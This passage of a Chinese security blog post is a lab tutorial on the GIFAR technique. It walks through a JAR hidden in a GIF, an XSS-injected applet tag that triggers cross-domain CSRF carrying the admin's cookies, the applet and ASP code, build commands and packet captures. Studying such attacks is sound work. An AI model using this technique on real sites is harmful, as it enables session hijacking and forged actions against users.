      \u6700\u540e\u4e00\u70b9\uff0c\u5176\u5b9e\u662f\u8fd9\u4e2a\u6f0f\u6d1e\u5229\u7528\u6210\u529f\u4e4b\u540e\u80fd\u505a\u4ec0\u4e48\u3002\u8de8\u57df\u53d6<\/span>cookie<\/font><\/span>\u53ea\u662f\u4e00\u79cd\u5229\u7528\uff0c\u8fd8\u6709\u5f88\u591a\u79cd\u5229\u7528\u65b9\u5f0f\uff0c\u6bd4\u5982<\/span>CSRF<\/font><\/span>\u3002\u524d\u6587\u63d0\u5230\uff0c<\/span>cookie<\/font><\/span>\u662f\u6709\u57df\u540d\u9650\u5236\u7684\uff0c\u5982\u679c\u8981\u8de8\u57df\u53d6<\/span>cookie<\/font><\/span>\uff0c\u5c31\u5fc5\u987b\u4fdd\u8bc1\u8fd9\u6bb5\u53d6<\/span>cookie<\/font><\/span>\u7684\u7a0b\u5e8f\u8981\u5728\u6240\u8de8\u57df\u4e0b\u7684\u6587\u4ef6\u4e2d\u6267\u884c\u3002\u6211\u4e00\u76f4\u63a8\u8350\u4e00\u79cd\u65b9\u5f0f\uff0c\u5c31\u662f\u5f53<\/span>IE7<\/font><\/span>\u4ee5\u4e0b\u6d4f\u89c8\u5668\u53bb\u6253\u5f00<\/span>JPG<\/font><\/span>\u6587\u4ef6\u65f6\uff0c\u5982\u679c<\/span>JPG<\/font><\/span>\u6587\u4ef6\u5176\u5b9e\u662f\u4e2a<\/span>HTML<\/font><\/span>\uff0c\u5c31\u4f1a\u6267\u884c<\/span>HTML<\/font><\/span>\u3002\u90a3\u4e48\u53d6<\/span>cookie<\/font><\/span>\u5f97\u4ee3\u7801\u5c31\u53ef\u4ee5\u5199\u5230\u8fd9\u4e2a\u6587\u4ef6\u4e0a\uff0c\u4e4b\u540e\u4e0a\u4f20\u5230\u8981\u8de8\u7684\u57df\uff0c\u518d\u5229\u7528<\/span>applet<\/font><\/span>\u8ba9\u53d7\u5bb3\u8005\u7684\u6d4f\u89c8\u5668\u8bbf\u95ee\u8fd9\u4e2a<\/span>JPG<\/font><\/span>\u6587\u4ef6\u3002\u8fd9\u6837\uff0c\u65e0\u8bba\u662f\u6302\u9a6c\u8fd8\u662f\u53d6<\/span>cookie<\/font><\/span>\u90fd\u53ef\u4ee5\u5728\u8fd9\u91cc\u5b8c\u6210\u3002<\/span><\/p>\n

       <\/p>\n

      \u4e00\u4e2a<\/span>CSRF<\/font><\/span><\/strong>\u793a\u4f8b\uff1a<\/span><\/o:p><\/span><\/strong><\/p>\n

      \u5148\u8bf4\u660e\u4e00\u4e0b\u6d4b\u8bd5\u73af\u5883\uff0c\u6709\u4e24\u53f0\u8ba1\u7b97\u673a\uff0c\u4e00\u53f0<\/span>linux+apache<\/font><\/span>\u4e0b\u9762\u7b80\u79f0<\/span>APACHE<\/font><\/span>\u57df\uff0c\u4e00\u53f0<\/span>windows+iis<\/font><\/span>\u4e0b\u9762\u7b80\u79f0<\/span>IIS<\/font><\/span>\u57df\u3002<\/span>APACHE<\/font><\/span>\u57df\u4e0b\u7684\u67d0\u4e2a\u6587\u4ef6\u51fa\u73b0\u4e86<\/span>XSS<\/font><\/span>\u6f0f\u6d1e\u3002\u5229\u7528\u8be5<\/span>XSS<\/font><\/span>\u6f0f\u6d1e\u53ef\u4ee5\u5728\u9875\u9762\u4e0a\u63d2\u5165<\/span>applet<\/font><\/span>\u6807\u7b7e\u3002<\/span>IIS<\/font><\/span>\u57df\u4e0b\u6709\u4e0a\u4f20<\/span>gif<\/font><\/span>\u6587\u4ef6\u529f\u80fd\uff0c\u4e8e\u662f\u4e0a\u4f20\u4e86\u4e00\u4e2a<\/span>gif<\/font><\/span>\u6587\u4ef6\uff0c\u8fd8\u6709\u4e00\u4e2a\u9700\u8981<\/span>cookie<\/font><\/span>\u9a8c\u8bc1\u624d\u80fd\u6267\u884c\u5176\u4ed6\u64cd\u4f5c\u7684\u9690\u79c1\u9875\u9762\u3002\u6700\u7ec8\u8981\u8fbe\u5230\u7684\u6548\u679c\u662f\uff0c<\/span>IIS<\/font><\/span>\u57df\u7684\u7ba1\u7406\u5458\uff08\u53ef\u4ee5\u901a\u8fc7<\/span>cookie<\/font><\/span>\u9a8c\u8bc1\u7684\u4eba\uff09\u8bbf\u95ee<\/span>APACHE<\/font><\/span>\u57df\u4e0b\u7684<\/span>XSS<\/font><\/span>\u6f0f\u6d1e\u9875\u9762\uff0c\u540c\u65f6\u6084\u6084\u7684\u8bbf\u95ee\u5230<\/span>IIS<\/font><\/span>\u57df\u4e0b\u7684\u9690\u79c1\u9875\u9762\uff08<\/span>CSRF<\/font><\/span>\uff09\u3002<\/span><\/p>\n

       <\/p>\n

      \"image003.png\"<\/a> <\/p>\n

      IIS<\/font><\/span>\u57df\u4e0b\u7684\u9875\u9762<\/span>a.asp<\/font><\/span>\uff0c\u76ee\u7684\u7528\u6765\u5efa\u7acb\u4e00\u4e2a<\/span>cookie<\/font><\/span>\uff0c\u8fd9\u4e2a<\/span>cookie<\/font><\/span>\u53ef\u4ee5\u901a\u8fc7<\/span>b.asp<\/font><\/span>\u7684\u9a8c\u8bc1\u3002\u8fd9\u91cc\u6a21\u62df\u4e86\u76f8\u5f53\u4e8e\u7ba1\u7406\u5458\u767b\u9646\u6210\u529f\u7684\u8fc7\u7a0b\u3002<\/span><\/p>\n

       <\/p>\n

      a.asp<\/font><\/span>\u4ee3\u7801\uff1a<\/span><\/p>\n

       <\/p>\n

      \n
      ASP\/Visual Basic\u4ee3\u7801<\/div>\n
        \n
      1. <%   <\/span><\/span><\/li>\n
      2. Response.Cookies(<\/span>"Cookie1"<\/span>)(<\/span>"kxlzx"<\/span>) = <\/span>"testok"<\/span>  <\/span><\/li>\n
      3. %>   <\/span><\/li>\n<\/ol>\n<\/div>\n

        \u4f5c\u7528\u662f\u65b0\u5efa\u4e00\u4e2a<\/span>cookie<\/font><\/span>\u3002<\/span><\/p>\n

        IIS<\/font><\/span>\u57df\u4e0b\u7684<\/span>b.asp<\/font><\/span>\u4ee3\u7801<\/span>:<\/font><\/span><\/p>\n

         <\/p>\n

        \n
        ASP\/Visual Basic\u4ee3\u7801<\/div>\n
          \n
        1. <%    <\/span><\/span><\/li>\n
        2. dim cookie,key    <\/span><\/li>\n
        3.   <\/span><\/li>\n
        4. for each cookie in Request.Cookies    <\/span><\/li>\n
        5. if Request.Cookies(cookie).haskeys then    <\/span><\/li>\n
        6.     for each key in Request.Cookies(cookie)    <\/span><\/li>\n
        7.         if key=<\/span>"kxlzx"<\/span> then   <\/span><\/li>\n
        8.             Response.Write <\/span>"key \u540d\u5b57\uff1a"<\/span>&key<\/span>"<BR>"<\/span>    <\/span><\/li>\n
        9.             Response.Write <\/span>"value \u540d\u5b57\uff1a"<\/span>&Request.Cookies(cookie)(key)<\/span>"<BR>"<\/span>    <\/span><\/li>\n
        10.             kxlzxfile=Server.MapPath(<\/span>"kxlzx.txt"<\/span>)    <\/span><\/li>\n
        11.             set fs=server.CreateObject(<\/span>"scripting.filesystemobject"<\/span>)    <\/span><\/li>\n
        12.             set file=fs.OpenTextFile(kxlzxfile,8,<\/span>True<\/span>,0)    <\/span><\/li>\n
        13.             file.WriteLine(<\/span>"key \u540d\u5b57\uff1a"<\/span>&key<\/span>""<\/span> )    <\/span><\/li>\n
        14.             file.WriteLine(<\/span>"value \u540d\u5b57\uff1a"<\/span>&Request.Cookies(cookie)(key)<\/span>""<\/span> )    <\/span><\/li>\n
        15.             file.close    <\/span><\/li>\n
        16.             set fs = nothing    <\/span><\/li>\n
        17.         end if    <\/span><\/li>\n
        18.     next    <\/span><\/li>\n
        19. end if    <\/span><\/li>\n
        20. next    <\/span><\/li>\n
        21.   <\/span><\/li>\n
        22. %>   <\/span><\/li>\n<\/ol>\n<\/div>\n

          \u901a\u8fc7\u4e86<\/span>cookie<\/font><\/span>\u9a8c\u8bc1\u540e\uff0c\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u65b0\u5efa\u4e00\u4e2a<\/span>kxlzx.txt<\/font><\/span>\uff0c\u6700\u540e\u770b\u5230\u8fd9\u4e2a\u6587\u6863\u65f6\uff0c\u610f\u5473\u7740<\/span>CSRF<\/font><\/span>\u6210\u529f\u3002<\/span><\/p>\n

          IIS<\/font><\/span>\u57df\u4e0b\u7684<\/span>2.gif<\/font><\/span>\u6587\u4ef6\uff0c\u7f16\u8bd1\u524d<\/span>Ghost.java<\/font><\/span>\u4ee3\u7801\uff1a<\/span><\/p>\n

           <\/p>\n

          \n
          Java\u4ee3\u7801<\/div>\n
            \n
          1. import<\/span> java.applet.Applet;   <\/span><\/span><\/li>\n
          2. import<\/span> java.io.InputStream;   <\/span><\/li>\n
          3. import<\/span> java.net.URL;   <\/span><\/li>\n
          4. import<\/span> java.net.URLConnection;   <\/span><\/li>\n
          5. public<\/span> <\/span>class<\/span> Ghost <\/span>extends<\/span> Applet {   <\/span><\/li>\n
          6.     <\/span>public<\/span> <\/span>void<\/span> init() {   <\/span><\/li>\n
          7.         URLConnection uc;   <\/span><\/li>\n
          8.         <\/span>try<\/span> {   <\/span><\/li>\n
          9.             <\/span>\/\/ \u521b\u5efa HTTP\u8fde\u63a5 <\/span>  <\/span><\/li>\n
          10.             URL url = <\/span>new<\/span> URL(<\/span>this<\/span>.getParameter(<\/span>"url"<\/span>));   <\/span><\/li>\n
          11.             uc = url.openConnection();   <\/span><\/li>\n
          12.             InputStream inputstream = <\/span>null<\/span>;   <\/span><\/li>\n
          13.             inputstream = uc.getInputStream();   <\/span><\/li>\n
          14.             System.out.println(<\/span>"test ok"<\/span>);   <\/span><\/li>\n
          15.         } <\/span>catch<\/span> (Exception ex) {   <\/span><\/li>\n
          16.             System.out.println(<\/span>"fu_ck"<\/span>);   <\/span><\/li>\n
          17.         }   <\/span><\/li>\n
          18.     }   <\/span><\/li>\n
          19. }   <\/span><\/li>\n<\/ol>\n<\/div>\n

             <\/p>\n

            \u8fd9\u4e2a\u6587\u4ef6\u5c31\u662f<\/span>applet<\/font><\/span>\u7684\u4ee3\u7801\uff0c\u4ee3\u7801\u4ece<\/span>applet<\/font><\/span>\u6807\u7b7e\u7684<\/span>PARAM<\/font><\/span>\u4e2d\u53d6\u5230<\/span>url<\/font><\/span>\u7684\u503c\uff0c\u4e4b\u540e\u8bbf\u95ee\u8fd9\u4e2a<\/span>URL<\/font><\/span>\u3002\u6211\u4eec\u8981\u628a\u8fd9\u4e2a\u6587\u4ef6\u7f16\u8bd1\u6210<\/span>jar<\/font><\/span>\uff0c\u7136\u540e\u4f7f\u7528<\/span>copy \/B <\/font><\/span>\u9644\u52a0\u5230\u4e00\u4e2a<\/span>gif<\/font><\/span>\u4e2d\u3002<\/span><\/p>\n

            APACHE<\/font><\/span>\u57df\u4e0b\u7684<\/span>Test.php<\/font><\/span>\u4ee3\u7801\uff1a<\/span><\/p>\n

             <\/p>\n

            \n
            PHP\u4ee3\u7801<\/div>\n
              \n
            1. <applet codebase=<\/span>"http:\/\/192.168.0.88\/"<\/span> code=<\/span>"Ghost.class"<\/span> archive=<\/span>"2.gif"<\/span> name=<\/span>"Ghost.jar"<\/span> >   <\/span><\/span><\/li>\n
            2. <PARAM name=<\/span>"url"<\/span> value=<\/span>"http:\/\/192.168.0.88\/b.asp"<\/span>><\/PARAM>   <\/span><\/li>\n
            3. <\/applet>   <\/span><\/li>\n<\/ol>\n<\/div>\n

               <\/p>\n

              \u4e0b\u9762\u5f00\u59cb\u6d4b\u8bd5\uff1a<\/span><\/p>\n

              1\uff0c  <\/span><\/font><\/span><\/span>\u9996\u5148\u4f7f\u7528<\/span>jar cvf a.jar Ghost.class<\/font><\/span>\u628a<\/span>class<\/font><\/span>\u6253\u5230<\/span>jar<\/font><\/span>\u5305\u91cc\u3002<\/span><\/p>\n

              2\uff0c  <\/span><\/font><\/span><\/span>\u8f93\u5165\u547d\u4ee4<\/span>copy a.gif \/b + a.jar 2.gif<\/font><\/span>\u628a<\/span>jar<\/font><\/span>\u6587\u4ef6\u8ffd\u52a0\u5230<\/span>a.gif<\/font><\/span>\uff0c\u751f\u6210\u4e00\u4e2a\u65b0\u6587\u4ef6<\/span>2.gif<\/font><\/span>\u3002<\/span><\/p>\n

               <\/p>\n

              \"image005.png\"<\/a><\/p>\n

               <\/p>\n

              3\uff0c  <\/span><\/font><\/span><\/span>\u8bbf\u95ee<\/span>APACHE<\/font><\/span>\u57df\u4e0b\u7684<\/span>a.asp<\/font><\/span>\uff0c\u4fdd\u5b58<\/span>cookie<\/font><\/span>\uff0c\u5e76\u5f39\u51fa\u4fdd\u5b58\u7684\u5185\u5bb9\u3002<\/span><\/p>\n

               <\/p>\n

              \"image007.png\"<\/a><\/span> <\/p>\n

               <\/p>\n

              4\uff0c  <\/span><\/font><\/span><\/span>\u8bbf\u95ee<\/span>APACHE<\/font><\/span>\u57df\u4e0b\u7684<\/span>test.php<\/font><\/span>\u3002<\/span><\/p>\n

               <\/p>\n

              \"image009.png\"<\/a><\/span><\/p>\n

               <\/p>\n

              5\uff0c  <\/span><\/font><\/span><\/span>\u67e5\u770b\u7ed3\u679c\uff0c\u770b\u5230<\/span>kxlzx.txt<\/font><\/span>\u4e2d\u8bb0\u5f55\u4e86<\/span>cookie<\/font><\/span>\u4fe1\u606f\u3002<\/span><\/p>\n

               <\/p>\n

              \u4e0b\u9762\u662f\u5728\u6574\u4e2a\u8fc7\u7a0b\u4e2d\u6293\u5230\u7684\u51e0\u4e2a\u5305\uff1a<\/span><\/p>\n

               <\/p>\n

              \n
              \n

              \u7b2c\u4e00\u4e2a\u5305\uff1a<\/span><\/o:p><\/span><\/p>\n

              GET \/a.asp HTTP\/1.1<\/o:p><\/font><\/span><\/p>\n

              Host: 192.168.0.88<\/o:p><\/font><\/span><\/p>\n

              User-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0<\/st1:chsdate>.1) Gecko\/2008070208 Firefox\/3.0.1<\/o:p><\/font><\/span><\/p>\n

              \u8f93\u5165\u5730\u5740\u8bbf\u95ee<\/span>IIS<\/font><\/span>\u57df\uff0c\u8bbf\u95ee<\/span>IIS<\/font><\/span>\u57df\u7684\u5305\u989c\u8272\u4e3a\u84dd\u8272<\/span><\/o:p><\/span><\/p>\n

               <\/font><\/o:p><\/span><\/p>\n

              \u7b2c\u4e8c\u4e2a\u5305<\/span><\/o:p><\/span><\/p>\n

              GET \/wwwroot\/test.php HTTP\/1.1<\/o:p><\/font><\/span><\/p>\n

              Host: 192.168.0.222<\/o:p><\/font><\/span><\/p>\n

              Accept-Encoding: gzip,deflate<\/o:p><\/font><\/span><\/p>\n

              \u8f93\u5165\u5730\u5740\u8bbf\u95ee<\/span>APACHE<\/font><\/span>\u57df\uff0c\u8bbf\u95ee<\/span>APACHE<\/font><\/span>\u7684\u5305\u989c\u8272\u4e3a\u7ea2\u8272<\/span><\/o:p><\/span><\/p>\n

               <\/font><\/o:p><\/span><\/p>\n

              \u7b2c\u4e09\u4e2a\u5305<\/span><\/o:p><\/span><\/p>\n

              GET \/2.gif HTTP\/1.1<\/o:p><\/font><\/span><\/p>\n

              content-type: application\/x-java-archive<\/o:p><\/font><\/span><\/p>\n

              User-Agent: Mozilla\/4.0 (Windows 2003 5.2) Java\/1.6.0<\/st1:chsdate>_03<\/o:p><\/font><\/span><\/p>\n

              Host: 192.168.0.88<\/o:p><\/font><\/span><\/p>\n

              Cookie: Cookie1=kxlzx=testok; <\/o:p><\/font><\/span><\/p>\n

               <\/font><\/o:p><\/span><\/p>\n

              \u7b2c\u56db\u4e2a\u5305<\/span><\/o:p><\/span><\/p>\n

              GET \/Ghost.class HTTP\/1.1<\/o:p><\/font><\/span><\/p>\n

              Host: 192.168.0.88<\/o:p><\/font><\/span><\/p>\n

              Cookie: Cookie1=kxlzx=testok; <\/o:p><\/font><\/span><\/p>\n

               <\/font><\/o:p><\/span><\/p>\n

              \u7b2c\u4e94\u4e2a\u5305<\/span><\/o:p><\/span><\/p>\n

              GET \/b.asp HTTP\/1.1<\/o:p><\/font><\/span><\/p>\n

              User-Agent: Mozilla\/4.0 (Windows 2003 5.2) Java\/1.6.0<\/st1:chsdate>_03<\/o:p><\/font><\/span><\/p>\n

              Host: 192.168.0.88<\/font><\/span><\/p>\n

              Cookie: Cookie1=kxlzx=testok; <\/span> <\/p>\n<\/blockquote>\n<\/blockquote>\n

               <\/p>\n

              \u7b2c\u4e00\u4e2a\u5305\u662f\u8bbf\u95ee<\/span>a.asp<\/span>\u7684\uff0c\u53ef\u4ee5\u770b\u5230\u5728\u8fd9\u4e2a\u5411<\/span>IIS<\/span>\u57df\u7684\u8bf7\u6c42\u4e2d\uff0c\u6ca1\u6709<\/span>cookie<\/span>\uff0c\u4f46\u662f\u8bbf\u95ee\u8fc7\u8be5\u6587\u4ef6\u4e4b\u540e\u5c31\u6709\u4e86\u3002<\/span><\/font><\/p>\n

               <\/p>\n

              \u518d\u770b\u7b2c\u4e8c\u4e2a\u5305\uff0c\u8bbf\u95ee\u4e86<\/span>APACHE<\/span>\u57df\u7684<\/span>test.php<\/span>\uff0c\u540e\u9762\u7684\u5305\u90fd\u662f\u7531<\/span>applet<\/span>\u81ea\u52a8\u53d1\u9001\u7684\u3002<\/span><\/font><\/p>\n

               <\/p>\n

              test.php<\/span>\u91cc\u7684<\/span>applet<\/span>\u53c8\u8bbf\u95ee\u4e86<\/span>gif<\/span>\u6587\u4ef6\uff0c\u53ef\u4ee5\u770b\u5230\u7b2c\u4e09\u4e2a\u5305\u7684<\/span>Agent<\/span>\u5df2\u7ecf\u53d8\u6210\u4e86“<\/span>Java\/1.6.0<\/st1:chsdate>_03”<\/span><\/span><\/st1:chmetcnv>\uff0c\u8bf4\u660e\u8be5\u5305\u662f<\/span><\/span><\/span>java<\/span>\u53bb\u8bbf\u95ee\u7684\u3002<\/span><\/font><\/p>\n

               <\/p>\n

              \u6700\u540e\u7684\u5305\uff0c\u5c31\u662f<\/span>CSRF<\/span>\u7684\u5305\uff0c\u8fd9\u4e2a\u5305\u6210\u529f\u7684\u8bbf\u95ee\u4e86<\/span>b.asp<\/span>\uff0c\u5e76\u4e14\u5e26\u6709\u53ef\u4ee5\u901a\u8fc7\u9a8c\u8bc1\u7684<\/span>cookie<\/span>\uff0c\u6210\u529f\u7684\u5728\u6839\u76ee\u5f55\u4e0b\u751f\u6210\u4e86\u4e00\u4e2a<\/span>kxlzx.txt<\/span>\u6587\u4ef6\u3002<\/span>CSRF<\/span>\u7684\u6574\u4e2a\u8fc7\u7a0b\u4e2d\uff0c\u5728\u7528\u6237\u8bbf\u95ee<\/span>APACHE<\/span>\u57df\u7684\u540c\u65f6\uff0c\u8de8\u57df\u8bbf\u95ee\u4e86<\/span>IIS<\/span>\u57df\uff0c\u5e76\u4e14\u5e26\u7740<\/span>IIS<\/span>\u57df\u7684<\/span>COOKIE<\/span>\u3002<\/span><\/font><\/p>\n

               <\/p>\n

              \u7ed3\u5c3e\uff1a<\/span><\/font><\/strong><\/p>\n

              <\/o:p><\/span><\/font><\/strong><\/p>\n

              GIFAR<\/span>\u5c31\u5199\u5230\u8fd9\u91cc\uff0c\u5176\u5b9e<\/span>GIFAR<\/span>\u771f\u6b63\u80fd\u505a\u7684\u4e8b\u60c5\uff0c\u4e0d\u6b62<\/span>CSRF<\/span>\u8fd9\u4e48\u7b80\u5355\uff0c\u5b83\u7684\u4f5c\u7528\u662f\u8c03\u7528<\/span>appet<\/span>\uff0c\u4e4b\u540e\u90fd\u4ea4\u7ed9<\/span>applet<\/span>\u6765\u5b8c\u6210\u3002\u6240\u4ee5\uff0c\u8981\u7814\u7a76<\/span>GIFAR<\/span>\uff0c\u9996\u5148\u8981\u7814\u7a76<\/span>applet<\/span>\u7684\u5b89\u5168\u6027\u3002\u63a8\u8350\u4f5c\u8005\u4e4b\u524d\u5199\u7684\u6587\u7ae0\u300a<\/span>Java applet<\/span>\u5b89\u5168\u6027\u63a2\u7a76\u300b\uff0c\u8bf7\u53bb<\/span>google<\/span>\u627e\u627e\u3002<\/span><\/font><\/p>\n

               <\/p>\n","protected":false},"excerpt":{"rendered":"

              \u524d\u8a00<\/span><\/o:p><\/span><\/strong><\/p>\n

              \u6587\u7ae0\u7684\u5f00\u59cb\uff0c\u5148\u8bf1\u60d1\u4e0b\u90a3\u4e9b\u4e0d\u7814\u7a76<\/span>applet<\/span>\u7684\u670b\u53cb\u3002<\/span><\/p>\n

              Java Applet<\/span>\u9700\u8981\u5b89\u88c5<\/span>java<\/span>\u73af\u5883\u624d\u80fd\u6267\u884c\u3002\u5f88\u591a\u670b\u53cb\u4e0d\u7814\u7a76\u7684\u4e3b\u8981\u539f\u56e0\uff0c\u662f\u81ea\u5df1\u8ba4\u4e3a\u666e\u901a\u4e0a\u7f51\u7528\u6237\u4e0d\u4f1a\u5b89\u88c5<\/span>java<\/span>\u73af\u5883\u3002\u4f46\u662f\u5927\u5bb6\u771f\u7684\u77e5\u9053\u76ee\u524d\u90fd\u6709\u54ea\u4e9b\u4eba\u5b89\u88c5\u4e86<\/span>java<\/span>\u73af\u5883\u4e48\uff1f\u4f60\u5f53\u7136\u77e5\u9053\u6709\u8fd9\u4e9b\u4eba\uff1a“<\/span>java<\/span>\u5f00\u53d1\u4eba\u5458”\u3001“\u56e0\u5de5\u4f5c\u9700\u8981\u4f7f\u7528<\/span>java<\/span>\u8f6f\u4ef6\u7684\u4eba”\uff0c\u4ed6\u4eec\u5b89\u88c5\u4e86<\/span>java<\/span>\u73af\u5883\u3002\u4f46\u662f\u4f60\u4e0d\u77e5\u9053\u7684\u662f\uff0c\u8fd8\u6709\u4e00\u7fa4\u65e0\u8f9c\u7684\u7528\u6237\u4e5f\u5728\u4e0d\u77e5\u4e0d\u89c9\u4e2d\u5b89\u88c5\u4e86\u3002<\/span><\/p>\n

              \u4e2d\u56fd\u4f7f\u7528\u76d7\u7248\u8f6f\u4ef6\u7684\u4eba\u6709\u591a\u5c11\uff1f\u6240\u6709\u7684\u4eba\u90fd\u5728\u7528\uff08\u522b\u8bef\u4f1a\uff0c\u6211\u4e0d\u6253\u51fb\u76d7\u7248\uff09\u3002\u90a3\u4e48\u4f60\u77e5\u9053\u4f7f\u7528\u76d7\u7248\u64cd\u4f5c\u7cfb\u7edf\u7684\u4eba\u6709\u591a\u5c11\u4e48\uff0c\u4f60\u77e5\u9053\u76d7\u7248\u7684\u64cd\u4f5c\u7cfb\u7edf\u662f\u54ea\u91cc\u6765\u7684\u4e48\uff1f\u7ecf\u5e38\u5b89\u88c5\u64cd\u4f5c\u7cfb\u7edf\u7684\u4eba\uff0c\u8fd8\u6709\u7ecf\u5e38\u5230\u7535\u8111\u57ce\u6311\u76d7\u7248\u76d8\u7684\u4eba\uff0c\u90fd\u6216\u591a\u6216\u5c11\u7684\u542c\u8fc7\u4ee5\u4e0b\u8fd9\u4e9b\u540d\u5b57\uff1a“\u96e8\u6797\u6728\u98ce”\uff0c“\u756a\u8304\u82b1\u56ed”\uff0c“\u7535\u8111\u516c\u53f8\u7248”\uff0c“\u6df1\u5ea6”\u7b49\u7b49\u3002\u3002\u3002\u8fd9\u5c31\u662f\u90a3\u4e9b\u7814\u7a76\u5982\u4f55\u8ba9\u64cd\u4f5c\u7cfb\u7edf\u65b9\u4fbf\u5404\u79cd\u4eba\u7fa4\u7684\u4f7f\u7528\uff0c\u628a\u64cd\u4f5c\u7cfb\u7edf\u5236\u4f5c\u6210\u7cfb\u7edf\u76d8\uff0c\u4f9b\u5927\u5bb6\u4e0b\u8f7d\u7684\u4e00\u4e9b\u4eba\u3002\u800c\u90a3\u4e9b\u51fa\u76d7\u7248\u7cfb\u7edf\u76d8\u7684\u5546\u5bb6\uff0c\u5148\u4ece\u8fd9\u4e9b\u5730\u65b9\u4e0b\u8f7d\uff0c\u4e4b\u540e\u7ecf\u8fc7\u523b\u76d8\uff0c\u5356\u7ed9\u666e\u901a\u7528\u6237\u3002\u4f5c\u8005\u7ecf\u8fc7\u4e00\u4e9b\u8c03\u67e5\uff0c\u4e86\u89e3\u5230\u4ee5\u4e0b\u4e00\u4e9b\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\uff0c\u81ea\u5e26<\/span>JAVA<\/span>\u73af\u5883\uff1a<\/span><\/p>\n

              \u96e8\u6797\u6728\u98ce<\/span> ——-   <\/span><\/span>\u96c6\u6210\u5fae\u8f6f<\/span> JAVA <\/span>\u865a\u62df\u673a\u3002<\/span><\/p>\n

              \u756a\u8304\u82b1\u56ed<\/span> GHOST XP SP2 v 3.1   <\/span>—–    <\/span><\/span>\u96c6\u5408<\/span> MS JAVA <\/span>\u865a\u62df\u673a<\/span><\/p>\n

              \u6df1\u5ea6<\/span>GHOSTXP SP3<\/span>\u5feb\u901f\u88c5\u673a\u4e13\u4e1a\u7248<\/span>V9.0(NTFS)   <\/span>———-  <\/span><\/span>\u96c6\u6210<\/span>MSJAVA<\/span>\u865a\u62df\u673a<\/span><\/p>\n

              GhostXP SP3<\/span>\u7535\u8111\u516c\u53f8\u5b8c\u7f8e\u7279\u522b\u4fee\u6b63\u7248<\/span> v9.1 ——-  <\/span><\/span>\u4fee\u6b63<\/span>JAVA<\/span>\u865a\u62df\u673a\u4e0d\u80fd\u542f\u52a8\u7684<\/span>BUG<\/span><\/p>\n

              999<\/span>\u5b9d\u85cf\u7f51<\/span> GhostXP SP3 <\/span>\u6d3b\u529b\u7248<\/span> V3.0   <\/span>——–   <\/span><\/span>\u5fae\u8f6f<\/span> JAVA <\/span>\u865a\u62df\u673a<\/span><\/p>\n

              \u7535\u8111\u5e02\u573a<\/span> GhostXP SP2<\/span>\u88c5\u673a\u7248<\/span> v3.0<\/span><\/p>\n

              \u5c0f\u8def\u5de5\u4f5c\u5ba4<\/span> GhostXP P2008<\/span>\u8d3a\u5c81\u7248<\/span>[<\/span>\u88c5\u673a\u7248<\/span>]<\/span><\/p>\n

              \u6df1\u5ea6\u6280\u672f<\/span> GHOST XP SP3 <\/span>\u5feb\u901f\u88c5\u673a\u4e13\u4e1a\u7248<\/span> V8.1<\/span><\/p>\n

              \u3002\u3002\u3002\u3002\u3002\u3002<\/span><\/p>\n

              \u4ee5\u4e0a\u64cd\u4f5c\u7cfb\u7edf\u90fd\u9644\u5e26<\/span>java<\/span>\u865a\u62df\u673a\uff0c\u56fd\u5185\u7684\u64cd\u4f5c\u7cfb\u7edf\u5b89\u88c5\u76d8\u6700\u6d41\u884c\u7684\uff0c\u4e5f\u5c31\u8fd9\u51e0\u5bb6\u4e86\uff0c\u90fd\u6709\u4e00\u4e9b\u7248\u672c\u5728\u652f\u6301<\/span>java<\/span>\u73af\u5883\u3002\u90a3\u4e48\u4f60\u73b0\u5728\u518d\u56de\u7b54\u6211\uff0c\u4e2d\u56fd\u6709\u591a\u5c11\u673a\u5668\u4e0a\u5b89\u88c5\u4e86<\/span>java<\/span>\u73af\u5883\uff1f<\/span><\/p>\n

              \u5728\u4f5c\u8005\u4ee5\u524d\u7684\u6587\u7ae0\u91cc\u66fe\u8bf4\u5230\uff0c\u7814\u7a76<\/span>applet<\/span>\u5b89\u5168\uff0c\u81f3\u5c11\u80fd\u7978\u5bb3\u4e00\u90e8\u5206\u4eba\u3002\u4f46\u662f\u603b\u6709\u5f88\u591a\u670b\u53cb\u4e0d\u559c\u6b22\u7814\u7a76\uff0c\u597d\u50cf\u8fd9\u73a9\u610f\u5927\u5bb6\u90fd\u4e0d\u7528\u4f3c\u7684\u3002\u4efb\u4f55\u4e00\u4e2a<\/span>Exp<\/span>\u7684\u6210\u529f\u7387\u90fd\u4e0d\u662f<\/span>100%<\/span>\uff0c\u5927\u5bb6\u53ea\u60f3\u7814\u7a76\u5982\u4f55\u7528\u522b\u4eba\u7684<\/span>EXP<\/span>\u53bb\u641e\u7ad9\uff0c\u4f55\u4e0d\u81ea\u5df1\u7814\u7a76\u70b9\u5b9e\u5b9e\u5728\u5728\u7684\u6280\u672f\u5462\uff1f\u51e0\u5929\u524d\uff0c\u5728“\u523a”\u7684<\/span>blog<\/span>\u4e0a\u770b\u5230\u4ed6\u8bf4“\u56fd\u5185\u597d\u50cf\u6ca1\u4eba\u5173\u6ce8<\/span>GIFAR<\/span>\u554a\uff0c\u6211\u767d\u8f9b\u82e6\u7801\u8fd9\u4e48\u591a\u5b57\u4e86”\uff0c\u6df1\u611f\u75db\u5fc3\uff0c\u56fd\u5185\u7684\u4eba\u90fd\u53bb\u505a\u4ec0\u4e48\u4e86\uff1f\u521a\u5de7\u4f5c\u8005\u7814\u7a76\u4e86\u4e00\u6bb5\u65f6\u95f4<\/span>applet<\/span>\u7684\u5b89\u5168\u6027\uff0c\u770b\u5230\u8fd9\u4e2a\u6f0f\u6d1e\u5f88\u5174\u594b\u3002\u523a\u5728\u81ea\u5df1\u7684<\/span>blog<\/span>\u4e0a\u53d1\u4e86\u4e24\u7bc7<\/span>GIFAR<\/span>\u7684\u6587\u7ae0\uff0c\u4f5c\u8005\u8ddf\u5e16\u8ba8\u8bba\u4e00\u76f4\u8ddf\u5230<\/span>50<\/span>\u591a\u7bc7\uff0c\u53ef\u662f\u53cd\u8fc7\u6765\u770b\u770b\uff0c\u597d\u50cf\u5c31\u6211\u4eec\u4e24\u4e2a\u4eba\u5728\u8ba8\u8bba\u76f8\u5173\u6280\u672f\u3002\u539f\u6765\u662f\u523a\u7684\u6587\u7ae0\u5199\u7684\u592a\u4e13\u4e1a\uff0c\u5927\u591a\u6570\u4e0d\u4e86\u89e3<\/span>applet<\/span>\u7684\u670b\u53cb\u53ef\u80fd\u770b\u4e0d\u592a\u61c2\uff0c\u4e3a\u4e86\u8ba9\u8fd9\u4e2a\u4e1c\u897f\u66f4\u6